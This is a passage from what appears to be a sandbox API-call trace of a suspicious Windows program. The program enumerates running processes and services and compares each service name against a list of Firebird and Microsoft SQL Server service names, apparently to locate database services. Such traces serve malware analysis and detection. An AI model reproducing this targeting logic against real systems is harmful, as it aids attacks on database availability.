-1 [0294.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0294.210] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0294.210] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0294.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0294.210] lstrlenW (lpString="RpcSs") returned 5 [0294.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0294.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0294.210] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0294.210] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0294.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0294.210] lstrlenW (lpString="SamSs") returned 5 [0294.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0294.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0294.210] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0294.210] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0294.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0294.210] lstrlenW (lpString="Schedule") returned 8 [0294.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0294.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0294.210] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0294.210] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0294.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0294.210] lstrlenW (lpString="SecurityHealthService") returned 21 [0294.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0294.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0294.210] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0294.210] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0294.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0294.210] lstrlenW (lpString="SENS") returned 4 [0294.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0294.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0294.211] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0294.211] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0294.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0294.211] lstrlenW (lpString="ShellHWDetection") returned 16 [0294.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0294.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0294.211] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0294.211] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0294.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0294.211] lstrlenW (lpString="Spooler") returned 7 [0294.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0294.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0294.211] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0294.211] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0294.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0294.211] lstrlenW (lpString="SSDPSRV") returned 7 [0294.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0294.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0294.211] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0294.211] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0294.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0294.211] lstrlenW (lpString="StateRepository") returned 15 [0294.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0294.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0294.211] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0294.211] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0294.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0294.211] lstrlenW (lpString="SysMain") returned 7 [0294.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0294.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0294.211] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0294.211] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0294.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0294.212] lstrlenW (lpString="SystemEventsBroker") returned 18 [0294.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0294.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0294.236] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0294.236] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0294.236] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4568fb8 | out: hHeap=0x6e0000) returned 1 [0294.236] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4e8 [0294.239] Process32FirstW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0294.240] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0294.240] lstrlenW (lpString="System") returned 6 [0294.240] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0294.241] lstrlenW (lpString="smss.exe") returned 8 [0294.241] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0294.242] lstrlenW (lpString="csrss.exe") returned 9 [0294.242] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0294.242] lstrlenW (lpString="wininit.exe") returned 11 [0294.243] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0294.243] lstrlenW (lpString="csrss.exe") returned 9 [0294.243] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0294.244] lstrlenW (lpString="winlogon.exe") returned 12 [0294.244] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0294.245] lstrlenW (lpString="services.exe") returned 12 [0294.245] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0294.245] lstrlenW (lpString="lsass.exe") returned 9 [0294.245] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0294.246] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0294.246] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0294.247] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0294.247] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.247] lstrlenW (lpString="svchost.exe") returned 11 [0294.248] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.248] lstrlenW (lpString="svchost.exe") returned 11 [0294.248] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0294.249] lstrlenW (lpString="dwm.exe") returned 7 [0294.249] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.250] lstrlenW (lpString="svchost.exe") returned 11 [0294.250] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.250] lstrlenW (lpString="svchost.exe") returned 11 [0294.250] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.251] lstrlenW (lpString="svchost.exe") returned 11 [0294.251] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.252] lstrlenW (lpString="svchost.exe") returned 11 [0294.252] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.252] lstrlenW (lpString="svchost.exe") returned 11 [0294.252] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.253] lstrlenW (lpString="svchost.exe") returned 11 [0294.253] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.254] lstrlenW (lpString="svchost.exe") returned 11 [0294.254] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.254] lstrlenW (lpString="svchost.exe") returned 11 [0294.257] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.257] lstrlenW (lpString="svchost.exe") returned 11 [0294.257] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.258] lstrlenW (lpString="svchost.exe") returned 11 [0294.258] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0294.259] lstrlenW (lpString="spoolsv.exe") returned 11 [0294.259] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0294.259] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0294.259] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0294.260] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0294.260] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0294.261] lstrlenW (lpString="Memory Compression") returned 18 [0294.261] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.261] lstrlenW (lpString="svchost.exe") returned 11 [0294.261] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0294.262] lstrlenW (lpString="audiodg.exe") returned 11 [0294.262] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0294.263] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0294.263] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0294.267] lstrlenW (lpString="sihost.exe") returned 10 [0294.267] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.267] lstrlenW (lpString="svchost.exe") returned 11 [0294.267] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0294.278] lstrlenW (lpString="taskhostw.exe") returned 13 [0294.278] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0294.279] lstrlenW (lpString="explorer.exe") returned 12 [0294.279] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0294.280] lstrlenW (lpString="SearchUI.exe") returned 12 [0294.280] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0294.280] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0294.280] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0294.281] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0294.281] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0294.282] lstrlenW (lpString="1csrss.exe") returned 10 [0294.282] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.283] lstrlenW (lpString="svchost.exe") returned 11 [0294.283] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0294.284] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0294.284] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 0 [0294.285] CloseHandle (hObject=0x4e8) returned 1 [0294.285] Sleep (dwMilliseconds=0x1f4) [0294.884] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddf20 [0294.884] EnumServicesStatusExW (in: hSCManager=0x7ddf20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0294.885] GetLastError () returned 0xea [0294.885] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1d08) returned 0x456fbd8 [0294.885] EnumServicesStatusExW (in: hSCManager=0x7ddf20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x456fbd8, cbBufSize=0x1d08, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x456fbd8, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0294.885] CloseServiceHandle (hSCObject=0x7ddf20) returned 1 [0294.886] lstrlenW (lpString="AppXSvc") returned 7 [0294.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0294.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0294.886] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0294.886] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0294.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0294.886] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0294.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0294.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0294.886] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0294.886] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0294.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0294.886] lstrlenW (lpString="Audiosrv") returned 8 [0294.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0294.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0294.886] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0294.886] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0294.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0294.886] lstrlenW (lpString="BFE") returned 3 [0294.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0294.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0294.886] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0294.886] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0294.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0294.886] lstrlenW (lpString="BITS") returned 4 [0294.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0294.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0294.887] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0294.887] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0294.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0294.887] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0294.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0294.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0294.887] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0294.887] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0294.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0294.887] lstrlenW (lpString="CDPSvc") returned 6 [0294.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0294.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0294.887] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0294.887] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0294.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0294.887] lstrlenW (lpString="ClickToRunSvc") returned 13 [0294.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0294.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0294.887] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0294.887] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0294.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0294.887] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 